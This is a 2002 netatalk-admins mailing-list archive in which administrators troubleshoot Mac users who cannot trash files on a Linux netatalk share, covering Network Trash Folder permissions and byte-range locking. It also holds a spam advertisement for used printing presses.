From: "Davenport, Joe" <Joe.Davenport@disney.com>
X-Mailer: Mozilla 4.51 [en] (X11; U; IRIX 6.5 IP32)
X-Accept-Language: en
MIME-Version: 1.0
To: Damien MATTEI <Damien.Mattei@unice.fr>
CC: netatalk-admins@umich.edu
Subject: Re: Users unable to delete files
References: <3C62B74C.C076484C@disney.com> <3C63C8BF.FB5BFBCE@unice.fr>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

The files and folders involved are 777.  One thing I have done is open
permissions on the
directories under "Network Trash Folder". Unfortunately the user is moving his
office this week and I'm unable to
test this.

Thanks.

Damien MATTEI wrote:

> "Davenport, Joe" wrote:
> >
> > I have a number of users unable to delete files that should be able to
> > delete based on the Unix permissions, however the operation fails with
> > the following error message.
> >
> > "you cannot trash this because you do
> >  not have access privileges"
> >
> > Netatalk version is 1.5pre2-6  running on a 2.4.3-12 Linux Kernel
> >
> > Any Ideas or help would be appreciated.
> >
> > Thanks
> >
> > Joe Davenport
> is it a share folder, is the file really undeletable or only impossible
> to put in in the trash folder? what are exactly the permissions of the
> files and directories...
>
> --
> MATTEI Damien                                   Phone: +33 (0)4 93 37 76 66
> C.N.R.S / U.N.S.A                               Fax:   +33 (0)4 93 53 30 71
> UMR 6549 Instabilite & Alterations des Genomes  E-mail: mattei@unice.fr
> Faculte de Medecine - Avenue de Valombrose - 06107 NICE Cedex 2 - France


From netatalk.administrators-errors@umich.edu  Fri Feb  8 12:21:40 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA25611
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 8 Feb 2002 12:21:40 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA21244
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 8 Feb 2002 12:21:39 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA21214
	for netatalk.administrators-members@umich.edu; Fri, 8 Feb 2002 12:21:38 -0500 (EST)
Received: from naxos.unice.fr (naxos.unice.fr [134.59.1.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA21147
	for <netatalk-admins@umich.edu>; Fri, 8 Feb 2002 12:21:36 -0500 (EST)
Received: from unice.fr (irisiag.unice.fr [134.59.51.51])
          by naxos.unice.fr (8.9.3/jtpda-5.3.3) with ESMTP id SAA166364
          ; Fri, 8 Feb 2002 18:21:32 +0100 (MET)
Sender: dmattei@unice.fr
Message-ID: <3C640939.40871A9C@unice.fr>
Date: Fri, 08 Feb 2002 18:22:02 +0100
From: Damien MATTEI <Damien.Mattei@unice.fr>
X-Mailer: Mozilla 4.75C-SGI [en] (X11; I; IRIX 6.5 IP22)
X-Accept-Language: en
MIME-Version: 1.0
To: "Davenport, Joe" <Joe.Davenport@disney.com>
CC: Damien MATTEI <Damien.Mattei@unice.fr>, netatalk-admins@umich.edu
Subject: Re: Users unable to delete files
References: <3C62B74C.C076484C@disney.com> <3C63C8BF.FB5BFBCE@unice.fr> <3C640601.5EE2F00@disney.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"Davenport, Joe" wrote:
> 
> The files and folders involved are 777.  One thing I have done is open
> permissions on the
> directories under "Network Trash Folder". Unfortunately the user is moving his
> office this week and I'm unable to
> test this.
> 
> Thanks.
> 
> Damien MATTEI wrote:
> 
> > "Davenport, Joe" wrote:
> > >
> > > I have a number of users unable to delete files that should be able to
> > > delete based on the Unix permissions, however the operation fails with
> > > the following error message.
> > >
> > > "you cannot trash this because you do
> > >  not have access privileges"
> > >
> > > Netatalk version is 1.5pre2-6  running on a 2.4.3-12 Linux Kernel
> > >
> > > Any Ideas or help would be appreciated.
> > >
> > > Thanks
> > >
> > > Joe Davenport
> > is it a share folder, is the file really undeletable or only impossible
> > to put in in the trash folder? what are exactly the permissions of the
> > files and directories...
> >
> > --
> > MATTEI Damien                                   Phone: +33 (0)4 93 37 76 66
> > C.N.R.S / U.N.S.A                               Fax:   +33 (0)4 93 53 30 71
> > UMR 6549 Instabilite & Alterations des Genomes  E-mail: mattei@unice.fr
> > Faculte de Medecine - Avenue de Valombrose - 06107 NICE Cedex 2 - France
on Network Trash Folder the default permission are rwx--Srwx, all i know
is that on
 my system if i'am deleting files of another user in a shared directory
the files can't go in trash and i am asked to delete them immediately...
-- 
MATTEI Damien					Phone: +33 (0)4 93 37 76 66
C.N.R.S / U.N.S.A				Fax:   +33 (0)4 93 53 30 71
UMR 6549 Instabilite & Alterations des Genomes	E-mail: mattei@unice.fr
Faculte de Medecine - Avenue de Valombrose - 06107 NICE Cedex 2 - France

From netatalk.administrators-errors@umich.edu  Fri Feb  8 14:52:13 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA06510
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 8 Feb 2002 14:52:13 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA27240
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 8 Feb 2002 14:52:13 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA27230
	for netatalk.administrators-members@umich.edu; Fri, 8 Feb 2002 14:52:12 -0500 (EST)
Received: from imo-m01.mx.aol.com (imo-m01.mx.aol.com [64.12.136.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA26331
	for <netatalk-admins@umich.edu>; Fri, 8 Feb 2002 14:51:35 -0500 (EST)
From: FIRSTCLASSEQUIP@aol.com
Received: from FIRSTCLASSEQUIP@aol.com
	by imo-m01.mx.aol.com (mail_out_v32.5.) id u.180.3440011 (3926);
	Fri, 8 Feb 2002 14:49:28 -0500 (EST)
Message-ID: <180.3440011.299585c8@aol.com>
Date: Fri, 8 Feb 2002 14:49:28 EST
Subject: TO ALL PRINTERS
To: FIRSTCLASSEQUIP@aol.com
CC: NAMYANG@ix.netcom.com, jkemp@hcc-uky.campus.mci.net,
        101601.647@compuserve.com, access@q-net.net, bernardi@earthlink.net,
        inoneear@hooked.net, waldorf@haven.ios.com, msaville@tbaytel.net,
        myjunkmail@myexcel.com, ivor@bittle.f9.co.uk,
        102431.3702@compuserve.com, lg11@soton.ac.uk, swells@drewcomputing.com,
        webresponse@tigerdirect.com, jmason@iona.ie, lprng@lprng.com,
        nitschke@math.unihamburg.de, netatalk-admins@umich.edu,
        linux-atalk@netspace.org, demaille@inf.enst.fr, santana@st.com,
        Hobbit@avian.org, haverlan@agric.gov.ab.ca, paul@ucs.ed.ac.uk,
        sr1@os.inf.tu-dresden.de, cxh@eecs.berkeley.edu, rarebks@prbm.com,
        info@gkss.de, today@nasa.gov, webmaster@mach1.wlu.ca,
        Sean_Dailey@dell.com, Rebecca_Besch@dell.com, lzdobysz@comark.com,
        lmcswain@comark.com, esnight@comark.com, kshull@intelligent.net,
        Steven.Miller@intelligent.net, gjones@intelligent.net,
        zkhan@intelligent.net, Jason_Neher@gtsi.com, Steven.Miller@gtsi.com,
        web@trace.wisc.edu, zoomtext@aisquared.com, PDeimann@alva-bv.nl,
        scantell@compusult.nf.ca, info@duxsys.com, info@hj.com,
        snsinfo@us.ibm.com, LESSGAUSS@aol.com, Mayerj@aol.com,
        nire@theoffice.net, optelec@optelec.com, listproc@trace.wisc.edu,
        novakme@macc.wisc.edu, earl.johnson@eng.sun.com, wwalker@zk3.dec.com,
        beth@cc.gatech.edu, joanna@wired.com, fmanjoo@wired.com,
        elsakka@watfor.uwaterloo.ca, frish@mindspring.com, ebatista@wired.com,
        lillington@hotmail.com, readingonwalden@att.net,
        submissions@passionfruit.com, ads@passionfruit.com,
        michele@passionfruit.com, twelve36@yahoo.com, awprofessional@awl.com,
        csweb@pearsoned.com, paul.becker@awl.com, karen.gettman@awl.com,
        peter.gordon@awl.com, mike.hendrickson@awl.com,
        shelley.kronzek@awl.com, sondra.scott@awl.com, stephane.thomas@awl.com,
        john.wait@awl.com, corpsales@pearsonteched.com, gettmank@awl.com,
        20peter.gordon@awl.com, mary.obrien@awl.com, 20stephane.thomas@awl.com,
        webmaster@awl.com, vous@abc.com, ventes@microson.ca,
        tech@microson.ca.com, ddickinson@usinternet.com, jan@lvr.com,
        DosPrINFO@dosprint.com, jaxelson@lvr.com, webmaster@napco.com,
        mcooper@napco.com, joe@dpconsultants.ca, michel@dpconsultants.ca,
        support@ecx-biz.com, info@ecx.com, roberta.barrette@randstad.ca,
        recruit_mbjb@ca.mastech.com, comptabilite@randstad.ca,
        pauline.saunders@adecco.com, sales@okint.com, support@okint.com,
        marketing@okint.com, webmaster@okint.com, jobs@okint.com,
        sugiyama@okint.com, chris@mhpr.com, mike@okint.com,
        ivg@dml.oii.oki.co.jp, ccweb@scar.utoronto.ca,
        support-centre@utsc.utoronto.ca, support-centre@scar.utoronto.ca,
        99kentcl@utsc.utoronto.ca, webmaster@kingston.com,
        inkpot@scar.utoronto.ca, sales@grt-net.com, bodbooks@csspub.com,
        SPANpublisher@iuniverse.com, info@network-printers.com,
        champ@bookpros.com, stephenh@rtir.com, mheim@sheridanbooks.com,
        mattw@tshore.com, TUVETS@aol.com, Bookprint@aol.com,
        carolyn.olson@quality-books.com, marilynross@spannet.org,
        info@deharts.com, thud@merlinmedia.com, heather_jardim@kingston.com,
        jaja_lin@kingston.com, bhaas@kingston-technology.com,
        sales@kingston.com, developer@grt-net.com, intlsales@kingston.com,
        governmentsales@kingston.com, info@storcase.com, high_end@kingston.com,
        diane_maahs@kingston.com, TECH_SUPPORT@kingston.com,
        soporte_tecnico@kingston.com, chuck_kelly@kingston.com,
        suzi_du@kingston.com, jobs@xwave.com, cf744@ncf.ca, sales@recomp.net,
        webmaster@artwork.com, info@fp-net.com, emeraldservices@home.com
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="part1_180.3440011.299585c8_boundary"
X-Mailer: AOL 7.0 for Windows US sub 118


--part1_180.3440011.299585c8_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

TO: PRINTERS




SAKURA, UV COATER 28 X 40 " MODEL SE102A, WITH FLOOD ON SPOT COAT, CRUSH 
ROLLER, UV SPE DRYER, IR BUMP, AC COOLING, AMBIANT COOLING, EXCELLENT 
CONDITION $87,000
MILLER TB-38B, 5 COLOR, 28 X 41", RUNNING 4 COLOR, TOP QUAILTY PRESS SHEETS 
AVAIL, #G18656-5160221, $79,500 O.B.O.
MILLER TP-104, 6 COLOR, 1992, 2 PREFECTORS, C3 CONSOLE, $425,000 THIS 
PRESS IS IN PREFECT CONDITION MUST SEE JPEGS.
MIEHLE 49 TC, OFFSET PRESS, SER412, SR NO#214763808, STILL RUNS GREAT, 
$18,000
HEIDELBERG SBD DIECUTTERS, 1994, 25 X 35", UNDER POWER, $49,000
HEIDELBERG GTO, 1 COLOR (2) $19,000 / $21,000
HEIDELBERG GTO, 2 COLOR, 14 X 20" $38,950
HEIDELBERG GTO-52, 4 COLOR, ALCOLOR, RUNNING, $105,000 NICE PRESS
HEIDELBERG GTO-52,5 COLOR, $145,000
HEIDELBERG GTO-52, 6 COLOR ALCOLOR, LOW IMP, 1996,SM52, PREFECTOR, $429,000 
PRESS IS LIKE NEW.
HEIDELBERG GTO-52F, PLUS,ALCOLOR,$139,000
HEIDELBERG MOFPH, 5 COLOR, WITH COATER,ALCOLOR, 1983, 73MIL IMP,CPC 1.03, 
UNDER POWER, CALIF, RUNNING AD AGENCY QUAILTY WORK, $269,950 
HEIDELBERG MOF,5 COLOR, CPC 1.03, MEMORY CARD, RUNNING 4C+AQ ON UNIT 5, MUST 
SEE PRESS, $190,000 OB.O.
.
HEIDELBERG MOH+L,5 COLOR WITH COATER, ALCOLOR, 1988, CPC 1.03, 19 MIL.IMP, 
EXCELLENT PRESS ON SKIDS, READY TO SHIP, THIS IS A REAL DIAMOND GEM!!, LIKE 
NEW $325,000
HEIDELBERG MO, 6 COLOR, WITH HIGH-PILE, 1987, ALCOLOR,63 MIL IMP,$245,000 
O.B.O
HEIDELBERG KORD'S, 18 X 25", PFFSETS, AS LOW AS $13,000
HEIDELBERG KORD, 1964, BLACK, 62 CM, $8,5000 
HEIDELBERG WINDMILL, 13 X 18", WITH FOIL, $14,500, MACHINE IS LIKE NEW.
HEIDELBERG SORS, 1 COLOR, 40", 1975, $16,900
HEIDELBERG SORD, 1 COLOR, $16,500
ROLAND, 5 COLOR, MODEL 806, 1985, WITH COATER, 38 X 50", LOADED VERY CLEAN 
PRESS, $225,000
AKIYAMA, 6 COLOR, WITH COATER, 40" $295,000
AKIYAMA, 1987, H-A, 628 $195,000
AKIYAMA,1982, H-A, 628, $145,000
AKIYAMA, 1980, H-A, 426, $70,000 O.B.O.
AKIYAMA, 1985, H-A, 440, $65,000 O.B.O.
AKIYAMA, 1989, BT-640, $98,000
AKIYAMA,1995, BT 628+L, $295,000
FUJI,65ll-P, 18.5 X 25.5", EXCELLENT PRINTING PRESS, $17,500 UNDER POWER
HAMADA,E-47,13 X 18, 1997, CRESTLINES, VERY CLEAN PRESS $16,000
BETTER HURRY
HARRIS,- OFFSET PRESSES, I GOT EM 1 X 25, 1 COLOR TO 6 COLOR 60"
PLANETA SUPER VARIANT, 1991, 6 UNIT, 40" SHEETFED, PRESS HAS ALL EXCESSORIES, 
$298,500

WHAT DO YOU NEED?
IF YOU ARE LOOKING FOR A CERTAIN ITEM, PLEASE LET US KNOW,  PLEASE EMAIL US 
BACK WITH THE FOLLOWING,
A FULL DESCRIPTION OF THE EQUIPMENT YOU HAVE FOR SELL OR WANT TO BUY:

BEST REGARDS,

DANE GODWIN

TINA VERMUELE- EQUIPMENT LOCATOR

FIRST CLASS  PRINTING EQUIPMENT
12407 EAST SLAUSON AVE UNIT #O
WHITTIER, CA 90606
1-562-698-0787
FAX # 1-562-698-3480
EMAIL: firstclassequip@aol.com

IF YOU HAVE RECEIVE THIS EMAIL IN ERROR PLEASE RESPOND BY CLICKING THE REPLY 
"REMOVE" IN SUBJECT LINE.
WE DO NOT INTENTIONALLY SEND OUR LISTS OF MACHINERY TO ANY UNWILLING 
RECIPIENTS. WE STRONGLY OPPOSE THE USE OF SPAM EMAILS AND DO NOT WANT ANYONE 
WHO DOES NOT WISH TO RECEIVE OUR MAILINGS TO RECEIVE THEM. AS A RESULT, WE 
HAVE RETAINED THE SERVICES OF AN INDEPENDENT 3RD PARTY TO ADMINISTER OUR LIST 
MANAGEMENT AND REMOVE LIST.



--part1_180.3440011.299585c8_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

<HTML><FONT FACE=arial,helvetica><FONT  SIZE=4 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0">TO: PRINTERS</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ffffff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
<BR>
<BR>
<BR>
<BR>
<B>SAKURA, </B>UV COATER 28 X 40 " MODEL SE102A, WITH FLOOD ON SPOT COAT, CRUSH ROLLER, UV SPE DRYER, IR BUMP, AC COOLING, AMBIANT COOLING, EXCELLENT CONDITION $87,000<BR>
<B>MILLER TB-38B, </B>5 COLOR, 28 X 41", RUNNING 4 COLOR, TOP QUAILTY PRESS SHEETS AVAIL, #G18656-5160221, $79,500 O.B.O.<BR>
<B>MILLER TP-104,</B> 6 COLOR, 1992, 2 PREFECTORS, C3 CONSOLE, $425,000 THIS <BR>
PRESS IS IN PREFECT CONDITION MUST SEE JPEGS.<BR>
<B>MIEHLE 49 TC,</B> OFFSET PRESS, SER412, SR NO#214763808, STILL RUNS GREAT, $18,000<BR>
<B>HEIDELBERG SBD DIECUTTERS,</B> 1994, 25 X 35", UNDER POWER, $49,000<BR>
<B>HEIDELBERG GTO, </B>1 COLOR (2) $19,000 / $21,000<BR>
<B>HEIDELBERG GTO,</B> 2 COLOR, 14 X 20" $38,950<BR>
<B>HEIDELBERG GTO-52,</B> 4 COLOR, ALCOLOR, RUNNING, $105,000 NICE PRESS<BR>
<B>HEIDELBERG GTO-52,</B>5 COLOR, $145,000<BR>
<B>HEIDELBERG GTO-52,</B> 6 COLOR ALCOLOR, LOW IMP, 1996,SM52, PREFECTOR, $429,000 PRESS IS LIKE NEW.<BR>
<B>HEIDELBERG GTO-52F,</B> PLUS,ALCOLOR,$139,000<BR>
<B>HEIDELBERG MOFPH, </B>5 COLOR, WITH COATER,ALCOLOR, 1983, 73MIL IMP,CPC 1.03, UNDER POWER, CALIF, RUNNING AD AGENCY QUAILTY WORK, $269,950 <BR>
<B>HEIDELBERG MOF,</B>5 COLOR, CPC 1.03, MEMORY CARD, RUNNING 4C+AQ ON UNIT 5, MUST SEE PRESS, $190,000 OB.O.<BR>
.<BR>
<B>HEIDELBERG MOH+L,</B>5 COLOR WITH COATER, ALCOLOR, 1988, CPC 1.03, 19 MIL.IMP, EXCELLENT PRESS ON SKIDS, READY TO SHIP, THIS IS A REAL DIAMOND GEM!!, LIKE NEW $325,000<BR>
<B>HEIDELBERG MO,</B> 6 COLOR, WITH HIGH-PILE, 1987, ALCOLOR,63 MIL IMP,$245,000 O.B.O<BR>
<B>HEIDELBERG KORD'S,</B> 18 X 25", PFFSETS, AS LOW AS $13,000<BR>
<B>HEIDELBERG KORD,</B> 1964, BLACK, 62 CM, $8,5000 <BR>
<B>HEIDELBERG WINDMILL,</B> 13 X 18", WITH FOIL, $14,500, MACHINE IS LIKE NEW.<BR>
<B>HEIDELBERG SORS,</B> 1 COLOR, 40", 1975, $16,900<BR>
<B>HEIDELBERG SORD,</B> 1 COLOR, $16,500<BR>
<B>ROLAND,</B> 5 COLOR, MODEL 806, 1985, WITH COATER, 38 X 50", LOADED VERY CLEAN PRESS, $225,000<BR>
<B>AKIYAMA,</B> 6 COLOR, WITH COATER, 40" $295,000<BR>
<B>AKIYAMA,</B> 1987, H-A, 628 $195,000<BR>
<B>AKIYAMA,</B>1982, H-A, 628, $145,000<BR>
<B>AKIYAMA,</B> 1980, H-A, 426, $70,000 O.B.O.<BR>
<B>AKIYAMA,</B> 1985, H-A, 440, $65,000 O.B.O.<BR>
<B>AKIYAMA,</B> 1989, BT-640, $98,000<BR>
<B>AKIYAMA,</B>1995, BT 628+L, $295,000<BR>
<B>FUJI,65ll-P, </B>18.5 X 25.5", EXCELLENT PRINTING PRESS, $17,500 UNDER POWER<BR>
<B>HAMADA,E-47,</B>13 X 18, 1997, CRESTLINES, VERY CLEAN PRESS $16,000<BR>
BETTER HURRY<BR>
<B>HARRIS,-</B> OFFSET PRESSES, I GOT EM 1 X 25, 1 COLOR TO 6 COLOR 60"<BR>
<B>PLANETA SUPER VARIANT, </B>1991, 6 UNIT, 40" SHEETFED, PRESS HAS ALL EXCESSORIES, $298,500<BR>
<BR>
<B>WHAT DO YOU NEED?</B><BR>
IF YOU ARE LOOKING FOR A CERTAIN ITEM, PLEASE LET US KNOW,&nbsp; PLEASE EMAIL US BACK WITH THE FOLLOWING,<BR>
A FULL <B>DESCRIPTION</B> OF THE EQUIPMENT YOU HAVE FOR <B>SELL</B> OR <B>WANT TO BUY:<BR>
</B><BR>
<B>BEST REGARDS,<BR>
<BR>
DANE GODWIN<BR>
<BR>
TINA VERMUELE- EQUIPMENT LOCATOR</B><BR>
<BR>
<B><I>FIRST CLASS&nbsp;</I> PRINTING EQUIPMENT</B><BR>
<B>12407 EAST SLAUSON AVE UNIT #O<BR>
WHITTIER, CA 90606<BR>
1-562-698-0787<BR>
FAX # 1-562-698-3480<BR>
EMAIL: firstclassequip@aol.com</B><BR>
<BR>
<B>IF YOU HAVE RECEIVE THIS EMAIL IN ERROR PLEASE RESPOND BY CLICKING THE REPLY "REMOVE" IN SUBJECT LINE.<BR>
WE DO NOT INTENTIONALLY SEND OUR LISTS OF MACHINERY TO ANY UNWILLING RECIPIENTS. WE STRONGLY OPPOSE THE USE OF SPAM EMAILS AND DO NOT WANT ANYONE WHO DOES NOT WISH TO RECEIVE OUR MAILINGS TO RECEIVE THEM. AS A RESULT, WE HAVE RETAINED THE SERVICES OF AN INDEPENDENT 3RD PARTY TO ADMINISTER OUR LIST MANAGEMENT AND REMOVE LIST.<BR>
</B><BR>
<BR>
</FONT></HTML>
--part1_180.3440011.299585c8_boundary--

From netatalk.administrators-errors@umich.edu  Sun Feb 10 11:03:37 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA21394
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 10 Feb 2002 11:03:37 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA22400
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 10 Feb 2002 11:03:37 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA22398
	for netatalk.administrators-members@umich.edu; Sun, 10 Feb 2002 11:03:37 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA22385
	for <netatalk-admins@umich.edu>; Sun, 10 Feb 2002 11:03:35 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id RAA31230;
	Sun, 10 Feb 2002 17:29:58 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Sun, 10 Feb 2002 17:03:51 +0100
Subject: Re: Users unable to delete files
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Damien MATTEI <Damien.Mattei@unice.fr>,
        "Davenport, Joe" <Joe.Davenport@disney.com>
CC: <netatalk-admins@umich.edu>
Message-ID: <B88C5876.1B729%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3C640939.40871A9C@unice.fr>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Fri, 08 Feb 2002 18:22:02 +0100, Damien MATTEI wrote:

> all i know is that on my system if i'am deleting files of another user in a
> shared directory the files can't go in trash and i am asked to delete them
> immediately...

Then you have a problem with byte range locking and that affects the
functionality of the Network Trash Folder:

    Network Trash Explanation
    
    You will have one network trash folder at the root of every
    sharepoint. Within that folder will be a file called Trash Can Usage
    Map which is used by the Finder on the client machine to claim a Trash
    Can #x folder to use as the trash can for the server volume.
    
    When a client throws a file on a remote volume away the Finder tries
    to get a lock on the first byte of the Trash Can Usage Map if that
    byte is locked, it tries to get a lock on the second byte and so on.
    When it gets the lock it "claims" the corresponding Trash Can folder.
    It then moves the file to be thrown away into its Trash Can folder.
    When the User selects Empty Trash, the Finder will empty its Trash Can
    Folder.
    
    If the client machine breaks the connection via crashing or being
    disconnected, the Trash Can folder will not be emptied. However when a
    client Finder claims a Trash Can folder, it will delete anything that
    was in the folder previously.
|
    (Courtesy Brad Suinn, Apple Computer)

As you are a user of a netatalk RPM, that was probably built with the mtab
DID scheme (nowadays called hash-did), this non-functionality of the Network
Trash is very important to prevent data loss in your situation:

<http://www.umich.edu/~rsug/netatalk/archive/admins/2000/3251.html> and
<http://www.umich.edu/~rsug/netatalk/archive/admins/2000/3325.html>

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Sun Feb 10 17:29:00 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id RAA04944
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 10 Feb 2002 17:29:00 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA03660
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 10 Feb 2002 17:29:00 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA03649
	for netatalk.administrators-members@umich.edu; Sun, 10 Feb 2002 17:28:59 -0500 (EST)
Received: from naxos.unice.fr (naxos.unice.fr [134.59.1.5])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA03616
	for <netatalk-admins@umich.edu>; Sun, 10 Feb 2002 17:28:58 -0500 (EST)
Received: from unice.fr (naxos.unice.fr [134.59.1.5])
          by naxos.unice.fr (8.9.3/jtpda-5.3.3) with SMTP id XAA435528
          ; Sun, 10 Feb 2002 23:28:56 +0100 (MET)
From: Damien.Mattei@unice.fr (Damien.MATTEI)
Message-Id: <200202102228.XAA435528@naxos.unice.fr>
Date: Sun, 10 Feb 2002 23:28:56 MET (MET)
To: Thomas.Kaiser@phg-online.de
Cc: Thomas.Kaiser@phg-online.de, DamienMATTEIDamien.Mattei@unice.fr,
        netatalk-admins@umich.edu
Subject: Re: Users unable to delete files
X-Mailer: AtDot 2.0.1
X-URL: http://hermes.unice.fr/

You wrote:

> Return-Path: <Thomas.Kaiser@phg-online.de>
> Received: from taloa.unice.fr (taloa.unice.fr [134.59.1.7])
>           by naxos.unice.fr (8.9.3/jtpda-5.3.3) with ESMTP id RAA396474
>           for <mattei@naxos.unice.fr>; Sun, 10 Feb 2002 17:03:31 +0100 (MET)
> Received: from users.phg-online.de (root@users.phg-online.de [62.245.158.230])
>           by taloa.unice.fr (8.9.3/jtpda-5.3.3) with ESMTP id RAA14867
>           for <Damien.Mattei@unice.fr>; Sun, 10 Feb 2002 17:04:14 +0100 (CET)
> Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
> 	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id RAA31230;
> 	Sun, 10 Feb 2002 17:29:58 +0100
> User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
> Date: Sun, 10 Feb 2002 17:03:51 +0100
> Subject: Re: Users unable to delete files
> From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
> To: Damien MATTEI <Damien.Mattei@unice.fr>,
>         "Davenport, Joe" <Joe.Davenport@disney.com>
> CC: <netatalk-admins@umich.edu>
> Message-ID: <B88C5876.1B729%Thomas.Kaiser@phg-online.de>
> In-Reply-To: <3C640939.40871A9C@unice.fr>
> Mime-version: 1.0
> Content-type: text/plain; charset="US-ASCII"
> Content-transfer-encoding: 7bit
> X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/)
> Status:  O
> 
> On Fri, 08 Feb 2002 18:22:02 +0100, Damien MATTEI wrote:
> 
> > all i know is that on my system if i'am deleting files of another user in a
> > shared directory the files can't go in trash and i am asked to delete them
> > immediately...
> 
> Then you have a problem with byte range locking and that affects the
> functionality of the Network Trash Folder:
> 
>     Network Trash Explanation
>     
>     You will have one network trash folder at the root of every
>     sharepoint. Within that folder will be a file called Trash Can Usage
>     Map which is used by the Finder on the client machine to claim a Trash
>     Can #x folder to use as the trash can for the server volume.
>     
>     When a client throws a file on a remote volume away the Finder tries
>     to get a lock on the first byte of the Trash Can Usage Map if that
>     byte is locked, it tries to get a lock on the second byte and so on.
>     When it gets the lock it "claims" the corresponding Trash Can folder.
>     It then moves the file to be thrown away into its Trash Can folder.
>     When the User selects Empty Trash, the Finder will empty its Trash Can
>     Folder.
>     
>     If the client machine breaks the connection via crashing or being
>     disconnected, the Trash Can folder will not be emptied. However when a
>     client Finder claims a Trash Can folder, it will delete anything that
>     was in the folder previously.
> |
>     (Courtesy Brad Suinn, Apple Computer)
> 
> As you are a user of a netatalk RPM, that was probably built with the mtab
> DID scheme (nowadays called hash-did), this non-functionality of the Network
> Trash is very important to prevent data loss in your situation:
> 
> <http://www.umich.edu/~rsug/netatalk/archive/admins/2000/3251.html> and
> <http://www.umich.edu/~rsug/netatalk/archive/admins/2000/3325.html>
> 
> Regards,
> 
> Thomas
> 
in fact the user of shared directory can't use the trash folder because group
 permission on trash folder are --S , so no read and write for the group and only the
 owner of trash folder have rwx on trash folder, it is set by default by netatalk
 ,is it a problem for file system integrity?

note: i'm now running netatalk-1.5.1.1 

From netatalk.administrators-errors@umich.edu  Sun Feb 10 18:26:50 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id SAA07287
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 10 Feb 2002 18:26:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA14995
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 10 Feb 2002 18:26:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA14986
	for netatalk.administrators-members@umich.edu; Sun, 10 Feb 2002 18:26:49 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
